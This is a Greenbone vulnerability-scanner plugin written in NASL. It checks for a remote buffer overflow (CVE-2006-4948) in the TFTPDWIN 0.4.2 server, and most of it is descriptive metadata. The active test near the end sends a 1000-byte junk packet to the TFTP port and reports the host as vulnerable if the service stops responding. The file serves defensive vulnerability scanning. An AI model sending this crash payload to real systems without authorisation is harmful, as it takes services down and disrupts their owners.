ProSysInfo TFTPDWIN 0.4.2 Remote Buffer Overflow Vulnerability - Active Check

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100265");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2009-08-31 21:01:49 +0200 (Mon, 31 Aug 2009)");
  script_cve_id("CVE-2006-4948");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_name("ProSysInfo TFTPDWIN 0.4.2 Remote Buffer Overflow Vulnerability - Active Check");

  script_category(ACT_DENIAL);
  script_family("Denial of Service");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("tftpd_detect.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_udp_ports("Services/udp/tftp", 69);
  script_mandatory_keys("tftp/detected", "Host/runs_windows");
  script_exclude_keys("keys/TARGET_IS_IPV6");

  script_tag(name:"affected", value:"TFTPDWIN 0.4.2 is vulnerable. Other versions may be affected as well.");

  script_tag(name:"summary", value:"TFTPDWIN server is prone to a remote buffer-overflow vulnerability
  because the application fails to properly bounds-check user-supplied
  input before copying it to an insufficiently sized memory buffer.");

  script_tag(name:"impact", value:"An attacker may exploit this issue to execute arbitrary code in the
  context of the TFTP server process.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/20131");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

if(TARGET_IS_IPV6())
  exit(0);

include("tftp.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = service_get_port(default:69, proto:"tftp", ipproto:"udp");

if(!tftp_alive(port:port))
  exit(0);

soc = open_sock_udp(port);
if(!soc)
  exit(0);

boom = crap(1000);

send(socket:soc, data:boom);
sleep(1);
close(soc);

if(!tftp_alive(port:port)) {
  security_message(port:port, proto:"udp");
  exit(0);
}

exit(99);